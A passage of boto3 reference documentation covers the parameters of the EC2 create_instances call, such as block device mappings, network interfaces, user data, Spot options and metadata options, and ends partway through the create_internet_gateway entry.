'string', + 'HostResourceGroupArn': 'string' + }, + RamdiskId='string', + SecurityGroupIds=[ + 'string', + ], + SecurityGroups=[ + 'string', + ], + SubnetId='string', + UserData='string', + AdditionalInfo='string', + ClientToken='string', + DisableApiTermination=True|False, + DryRun=True|False, + EbsOptimized=True|False, + IamInstanceProfile={ + 'Arn': 'string', + 'Name': 'string' + }, + InstanceInitiatedShutdownBehavior='stop'|'terminate', + NetworkInterfaces=[ + { + 'AssociatePublicIpAddress': True|False, + 'DeleteOnTermination': True|False, + 'Description': 'string', + 'DeviceIndex': 123, + 'Groups': [ + 'string', + ], + 'Ipv6AddressCount': 123, + 'Ipv6Addresses': [ + { + 'Ipv6Address': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': [ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + 'SecondaryPrivateIpAddressCount': 123, + 'SubnetId': 'string', + 'AssociateCarrierIpAddress': True|False, + 'InterfaceType': 'string', + 'NetworkCardIndex': 123 + }, + ], + PrivateIpAddress='string', + ElasticGpuSpecification=[ + { + 'Type': 'string' + }, + ], + ElasticInferenceAccelerators=[ + { + 'Type': 'string', + 'Count': 123 + }, + ], + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + LaunchTemplate={ + 'LaunchTemplateId': 'string', + 'LaunchTemplateName': 'string', + 'Version': 'string' + }, + InstanceMarketOptions={ + 'MarketType': 'spot', + 'SpotOptions': { + 'MaxPrice': 'string', + 'SpotInstanceType': 'one-time'|'persistent', + 'BlockDurationMinutes': 123, + 'ValidUntil': datetime(2015, 1, 1), + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate' + } + }, + CreditSpecification={ + 'CpuCredits': 'string' + }, + CpuOptions={ + 'CoreCount': 123, + 'ThreadsPerCore': 123 + }, + CapacityReservationSpecification={ + 'CapacityReservationPreference': 'open'|'none', + 'CapacityReservationTarget': { + 'CapacityReservationId': 'string', + 'CapacityReservationResourceGroupArn': 'string' + } + }, + HibernationOptions={ + 'Configured': True|False + }, + LicenseSpecifications=[ + { + 'LicenseConfigurationArn': 'string' + }, + ], + MetadataOptions={ + 'HttpTokens': 'optional'|'required', + 'HttpPutResponseHopLimit': 123, + 'HttpEndpoint': 'disabled'|'enabled' + }, + EnclaveOptions={ + 'Enabled': True|False + } +) + +Parameters + +- **BlockDeviceMappings** (_list_) -- + + The block device mapping entries. + + - _(dict) --_ + + Describes a block device mapping. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + - **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + - gp3 : 3,000-16,000 IOPS + - io1 : 100-64,000 IOPS + - io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + - **SnapshotId** _(string) --_ + + The ID of the snapshot. + + - **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + - gp2 and gp3 :1-16,384 + - io1 and io2 : 4-16,384 + - st1 : 500-16,384 + - sc1 : 500-16,384 + - standard : 1-1,024 + - **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + - **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + - **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + - **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + - **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + +- **ImageId** (_string_) -- The ID of the AMI. An AMI ID is required to launch an instance and must be specified here or in a launch template. +- **InstanceType** (_string_) -- + + The instance type. For more information, see [Instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: m1.small + +- **Ipv6AddressCount** (_integer_) -- + + [EC2-VPC] The number of IPv6 addresses to associate with the primary network interface. Amazon EC2 chooses the IPv6 addresses from the range of your subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + You cannot specify this option and the network interfaces option in the same request. + +- **Ipv6Addresses** (_list_) -- + + [EC2-VPC] The IPv6 addresses from the range of the subnet to associate with the primary network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + You cannot specify this option and the network interfaces option in the same request. + + - _(dict) --_ + + Describes an IPv6 address. + + - **Ipv6Address** _(string) --_ + + The IPv6 address. + +- **KernelId** (_string_) -- + + The ID of the kernel. + + Warning + + We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedkernels.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +- **KeyName** (_string_) -- + + The name of the key pair. You can create a key pair using [CreateKeyPair](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateKeyPair.html) or [ImportKeyPair](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportKeyPair.html) . + + Warning + + If you do not specify a key pair, you can't connect to the instance unless you choose an AMI that is configured to allow users another way to log in. + +- **MaxCount** (_integer_) -- + + **[REQUIRED]** + + The maximum number of instances to launch. If you specify more instances than Amazon EC2 can launch in the target Availability Zone, Amazon EC2 launches the largest possible number of instances above MinCount . + + Constraints: Between 1 and the maximum number you're allowed for the specified instance type. For more information about the default limits, and how to request an increase, see [How many instances can I run in Amazon EC2](https://aws.amazon.com/ec2/faqs/#How_many_instances_can_I_run_in_Amazon_EC2) in the Amazon EC2 FAQ. + +- **MinCount** (_integer_) -- + + **[REQUIRED]** + + The minimum number of instances to launch. If you specify a minimum that is more instances than Amazon EC2 can launch in the target Availability Zone, Amazon EC2 launches no instances. + + Constraints: Between 1 and the maximum number you're allowed for the specified instance type. For more information about the default limits, and how to request an increase, see [How many instances can I run in Amazon EC2](https://aws.amazon.com/ec2/faqs/#How_many_instances_can_I_run_in_Amazon_EC2) in the Amazon EC2 General FAQ. + +- **Monitoring** (_dict_) -- + + Specifies whether detailed monitoring is enabled for the instance. + + - **Enabled** _(boolean) --_ **[REQUIRED]** + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + +- **Placement** (_dict_) -- + + The placement for the instance. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone of the instance. + + If not specified, an Availability Zone will be automatically chosen for you based on the load balancing criteria for the Region. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **Affinity** _(string) --_ + + The affinity setting for the instance on the Dedicated Host. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **GroupName** _(string) --_ + + The name of the placement group the instance is in. + + - **PartitionNumber** _(integer) --_ + + The number of the partition the instance is in. Valid only if the placement group strategy is set to partition . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **HostId** _(string) --_ + + The ID of the Dedicated Host on which the instance resides. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **SpreadDomain** _(string) --_ + + Reserved for future use. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **HostResourceGroupArn** _(string) --_ + + The ARN of the host resource group in which to launch the instances. If you specify a host resource group ARN, omit the **Tenancy** parameter or set it to host . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + +- **RamdiskId** (_string_) -- + + The ID of the RAM disk to select. Some kernels require additional drivers at launch. Check the kernel requirements for information about whether you need to specify a RAM disk. To find kernel requirements, go to the AWS Resource Center and search for the kernel ID. + + Warning + + We recommend that you use PV-GRUB instead of kernels and RAM disks. For more information, see [PV-GRUB](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/UserProvidedkernels.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +- **SecurityGroupIds** (_list_) -- + + The IDs of the security groups. You can create a security group using [CreateSecurityGroup](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateSecurityGroup.html) . + + If you specify a network interface, you must specify any security groups as part of the network interface. + + - _(string) --_ +- **SecurityGroups** (_list_) -- + + [EC2-Classic, default VPC] The names of the security groups. For a nondefault VPC, you must use security group IDs instead. + + If you specify a network interface, you must specify any security groups as part of the network interface. + + Default: Amazon EC2 uses the default security group. + + - _(string) --_ +- **SubnetId** (_string_) -- + + [EC2-VPC] The ID of the subnet to launch the instance into. + + If you specify a network interface, you must specify any subnets as part of the network interface. + +- **UserData** (_string_) -- + + The user data to make available to the instance. For more information, see [Running commands on your Linux instance at launch](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html) (Linux) and [Adding User Data](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2-instance-metadata.html#instancedata-add-user-data) (Windows). If you are using a command line tool, base64-encoding is performed for you, and you can load the text from a file. Otherwise, you must provide base64-encoded text. User data is limited to 16 KB. + + > **This value will be base64 encoded automatically. Do not base64 encode this value prior to performing the operation.** + +- **AdditionalInfo** (_string_) -- Reserved. +- **ClientToken** (_string_) -- + + Unique, case-sensitive identifier you provide to ensure the idempotency of the request. If you do not specify a client token, a randomly generated token is used for the request to ensure idempotency. + + For more information, see [Ensuring Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + Constraints: Maximum 64 ASCII characters + + This field is autopopulated if not provided. + +- **DisableApiTermination** (_boolean_) -- + + If you set this parameter to true , you can't terminate the instance using the Amazon EC2 console, CLI, or API; otherwise, you can. To change this attribute after launch, use [ModifyInstanceAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyInstanceAttribute.html) . Alternatively, if you set InstanceInitiatedShutdownBehavior to terminate , you can terminate the instance by running the shutdown command from the instance. + + Default: false + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **EbsOptimized** (_boolean_) -- + + Indicates whether the instance is optimized for Amazon EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal Amazon EBS I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS-optimized instance. + + Default: false + +- **IamInstanceProfile** (_dict_) -- + + The IAM instance profile. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + - **Name** _(string) --_ + + The name of the instance profile. + +- **InstanceInitiatedShutdownBehavior** (_string_) -- + + Indicates whether an instance stops or terminates when you initiate shutdown from the instance (using the operating system command for system shutdown). + + Default: stop + +- **NetworkInterfaces** (_list_) -- + + The network interfaces to associate with the instance. If you specify a network interface, you must specify any security groups and subnets as part of the network interface. + + - _(dict) --_ + + Describes a network interface. + + - **AssociatePublicIpAddress** _(boolean) --_ + + Indicates whether to assign a public IPv4 address to an instance you launch in a VPC. The public IP address can only be assigned to a network interface for eth0, and can only be assigned to a new network interface, not an existing one. You cannot specify more than one network interface in the request. If launching into a default subnet, the default value is true . + + - **DeleteOnTermination** _(boolean) --_ + + If set to true , the interface is deleted when the instance is terminated. You can specify true only if creating a new network interface when launching an instance. + + - **Description** _(string) --_ + + The description of the network interface. Applies only if creating a network interface when launching an instance. + + - **DeviceIndex** _(integer) --_ + + The position of the network interface in the attachment order. A primary network interface has a device index of 0. + + If you specify a network interface when launching an instance, you must specify the device index. + + - **Groups** _(list) --_ + + The IDs of the security groups for the network interface. Applies only if creating a network interface when launching an instance. + + - _(string) --_ + - **Ipv6AddressCount** _(integer) --_ + + A number of IPv6 addresses to assign to the network interface. Amazon EC2 chooses the IPv6 addresses from the range of the subnet. You cannot specify this option and the option to assign specific IPv6 addresses in the same request. You can specify this option if you've specified a minimum number of instances to launch. + + - **Ipv6Addresses** _(list) --_ + + One or more IPv6 addresses to assign to the network interface. You cannot specify this option and the option to assign a number of IPv6 addresses in the same request. You cannot specify this option if you've specified a minimum number of instances to launch. + + - _(dict) --_ + + Describes an IPv6 address. + + - **Ipv6Address** _(string) --_ + + The IPv6 address. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + If you are creating a Spot Fleet, omit this parameter because you can’t specify a network interface ID in a launch specification. + + - **PrivateIpAddress** _(string) --_ + + The private IPv4 address of the network interface. Applies only if creating a network interface when launching an instance. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + - **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses to assign to the network interface. Only one private IPv4 address can be designated as primary. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + - _(dict) --_ + + Describes a secondary private IPv4 address for a network interface. + + - **Primary** _(boolean) --_ + + Indicates whether the private IPv4 address is the primary private IPv4 address. Only one IPv4 address can be designated as primary. + + - **PrivateIpAddress** _(string) --_ + + The private IPv4 addresses. + + - **SecondaryPrivateIpAddressCount** _(integer) --_ + + The number of secondary private IPv4 addresses. You can't specify this option and specify more than one private IP address using the private IP addresses option. You cannot specify this option if you're launching more than one instance in a [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + - **SubnetId** _(string) --_ + + The ID of the subnet associated with the network interface. Applies only if creating a network interface when launching an instance. + + - **AssociateCarrierIpAddress** _(boolean) --_ + + Indicates whether to assign a carrier IP address to the network interface. + + You can only assign a carrier IP address to a network interface that is in a subnet in a Wavelength Zone. For more information about carrier IP addresses, see Carrier IP addresses in the AWS Wavelength Developer Guide. + + - **InterfaceType** _(string) --_ + + The type of network interface. + + To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + If you are not creating an EFA, specify interface or omit this parameter. + + Valid values: interface | efa + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. Some instance types support multiple network cards. The primary network interface must be assigned to network card index 0. The default is network card index 0. + +- **PrivateIpAddress** (_string_) -- + + [EC2-VPC] The primary IPv4 address. You must specify a value from the IPv4 address range of the subnet. + + Only one private IP address can be designated as primary. You can't specify this option if you've specified the option to designate a private IP address as the primary IP address in a network interface specification. You cannot specify this option if you're launching more than one instance in the request. + + You cannot specify this option and the network interfaces option in the same request. + +- **ElasticGpuSpecification** (_list_) -- + + An elastic GPU to associate with the instance. An Elastic GPU is a GPU resource that you can attach to your Windows instance to accelerate the graphics performance of your applications. For more information, see [Amazon EC2 Elastic GPUs](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/elastic-graphics.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + - _(dict) --_ + + A specification for an Elastic Graphics accelerator. + + - **Type** _(string) --_ **[REQUIRED]** + + The type of Elastic Graphics accelerator. For more information about the values to specify for Type , see [Elastic Graphics Basics](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/elastic-graphics.html#elastic-graphics-basics) , specifically the Elastic Graphics accelerator column, in the _Amazon Elastic Compute Cloud User Guide for Windows Instances_ . + +- **ElasticInferenceAccelerators** (_list_) -- + + An elastic inference accelerator to associate with the instance. Elastic inference accelerators are a resource you can attach to your Amazon EC2 instances to accelerate your Deep Learning (DL) inference workloads. + + You cannot specify accelerators from different generations in the same request. + + - _(dict) --_ + + Describes an elastic inference accelerator. + + - **Type** _(string) --_ **[REQUIRED]** + + The type of elastic inference accelerator. The possible values are eia1.medium , eia1.large , eia1.xlarge , eia2.medium , eia2.large , and eia2.xlarge . + + - **Count** _(integer) --_ + + The number of elastic inference accelerators to attach to the instance. + + Default: 1 + +- **TagSpecifications** (_list_) -- + + The tags to apply to the resources during launch. You can only tag instances and volumes on launch. The specified tags are applied to all instances or volumes that are created during launch. To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id806)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id808)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +- **LaunchTemplate** (_dict_) -- + + The launch template to use to launch the instances. Any parameters that you specify in RunInstances override the same parameters in the launch template. You can specify either the name or ID of a launch template, but not both. + + - **LaunchTemplateId** _(string) --_ + + The ID of the launch template. + + - **LaunchTemplateName** _(string) --_ + + The name of the launch template. + + - **Version** _(string) --_ + + The version number of the launch template. + + Default: The default version for the launch template. + +- **InstanceMarketOptions** (_dict_) -- + + The market (purchasing) option for the instances. + + For RunInstances , persistent Spot Instance requests are only supported when **InstanceInterruptionBehavior** is set to either hibernate or stop . + + - **MarketType** _(string) --_ + + The market type. + + - **SpotOptions** _(dict) --_ + + The options for Spot Instances. + + - **MaxPrice** _(string) --_ + + The maximum hourly price you're willing to pay for the Spot Instances. The default is the On-Demand price. + + - **SpotInstanceType** _(string) --_ + + The Spot Instance request type. For [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances) , persistent Spot Instance requests are only supported when **InstanceInterruptionBehavior** is set to either hibernate or stop . + + - **BlockDurationMinutes** _(integer) --_ + + The required duration for the Spot Instances (also known as Spot blocks), in minutes. This value must be a multiple of 60 (60, 120, 180, 240, 300, or 360). + + The duration period starts as soon as your Spot Instance receives its instance ID. At the end of the duration period, Amazon EC2 marks the Spot Instance for termination and provides a Spot Instance termination notice, which gives the instance a two-minute warning before it terminates. + + You can't specify an Availability Zone group or a launch group if you specify a duration. + + New accounts or accounts with no previous billing history with AWS are not eligible for Spot Instances with a defined duration (also known as Spot blocks). + + - **ValidUntil** _(datetime) --_ + + The end date of the request, in UTC format (_YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). Supported only for persistent requests. + + - For a persistent request, the request remains active until the ValidUntil date and time is reached. Otherwise, the request remains active until you cancel it. + - For a one-time request, ValidUntil is not supported. The request remains active until all instances launch or you cancel the request. + - **InstanceInterruptionBehavior** _(string) --_ + + The behavior when a Spot Instance is interrupted. The default is terminate . + +- **CreditSpecification** (_dict_) -- + + The credit option for CPU usage of the burstable performance instance. Valid values are standard and unlimited . To change this attribute after launch, use [ModifyInstanceCreditSpecification](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifyInstanceCreditSpecification.html) . For more information, see [Burstable performance instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/burstable-performance-instances.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: standard (T2 instances) or unlimited (T3/T3a instances) + + - **CpuCredits** _(string) --_ **[REQUIRED]** + + The credit option for CPU usage of a T2, T3, or T3a instance. Valid values are standard and unlimited . + +- **CpuOptions** (_dict_) -- + + The CPU options for the instance. For more information, see [Optimizing CPU options](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-optimize-cpu.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + - **CoreCount** _(integer) --_ + + The number of CPU cores for the instance. + + - **ThreadsPerCore** _(integer) --_ + + The number of threads per CPU core. To disable multithreading for the instance, specify a value of 1 . Otherwise, specify the default value of 2 . + +- **CapacityReservationSpecification** (_dict_) -- + + Information about the Capacity Reservation targeting option. If you do not specify this parameter, the instance's Capacity Reservation preference defaults to open , which enables it to run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + + - **CapacityReservationPreference** _(string) --_ + + Indicates the instance's Capacity Reservation preferences. Possible preferences include: + + - open - The instance can run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + - none - The instance avoids running in a Capacity Reservation even if one is available. The instance runs as an On-Demand Instance. + - **CapacityReservationTarget** _(dict) --_ + + Information about the target Capacity Reservation or Capacity Reservation group. + + - **CapacityReservationId** _(string) --_ + + The ID of the Capacity Reservation in which to run the instance. + + - **CapacityReservationResourceGroupArn** _(string) --_ + + The ARN of the Capacity Reservation resource group in which to run the instance. + +- **HibernationOptions** (_dict_) -- + + Indicates whether an instance is enabled for hibernation. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + You can't enable hibernation and AWS Nitro Enclaves on the same instance. + + - **Configured** _(boolean) --_ + + If you set this parameter to true , your instance is enabled for hibernation. + + Default: false + +- **LicenseSpecifications** (_list_) -- + + The license configurations. + + - _(dict) --_ + + Describes a license configuration. + + - **LicenseConfigurationArn** _(string) --_ + + The Amazon Resource Name (ARN) of the license configuration. + +- **MetadataOptions** (_dict_) -- + + The metadata options for the instance. For more information, see [Instance metadata and user data](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) . + + - **HttpTokens** _(string) --_ + + The state of token usage for your instance metadata requests. If the parameter is not specified in the request, the default state is optional . + + If the state is optional , you can choose to retrieve instance metadata with or without a signed token header on your request. If you retrieve the IAM role credentials without a token, the version 1.0 role credentials are returned. If you retrieve the IAM role credentials using a valid signed token, the version 2.0 role credentials are returned. + + If the state is required , you must send a signed token header with any instance metadata retrieval requests. In this state, retrieving the IAM role credentials always returns the version 2.0 credentials; the version 1.0 credentials are not available. + + - **HttpPutResponseHopLimit** _(integer) --_ + + The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. + + Default: 1 + + Possible values: Integers from 1 to 64 + + - **HttpEndpoint** _(string) --_ + + This parameter enables or disables the HTTP metadata endpoint on your instances. If the parameter is not specified, the default state is enabled . + + Note + + If you specify a value of disabled , you will not be able to access your instance metadata. + +- **EnclaveOptions** (_dict_) -- + + Indicates whether the instance is enabled for AWS Nitro Enclaves. For more information, see [What is AWS Nitro Enclaves?](https://docs.aws.amazon.com/enclaves/latest/user/nitro-enclave.html) in the _AWS Nitro Enclaves User Guide_ . + + You can't enable AWS Nitro Enclaves and hibernation on the same instance. + + - **Enabled** _(boolean) --_ + + To enable the instance for AWS Nitro Enclaves, set this parameter to true . + + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +create_internet_gateway(kwargs_) + +Creates an internet gateway for use with a VPC. After creating the internet gateway, you attach it to a VPC using AttachInternetGateway . + +For more information about your VPC and internet gateway, see the [Amazon Virtual Private Cloud User Guide](https://docs.aws.amazon.com/vpc/latest/userguide/) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateInternetGateway) + +**Request Syntax** + +internet_gateway = ec2.create_internet_gateway( + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +- **TagSpecifications** (_list_) -- + + The tags to assign to the internet gateway. + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | 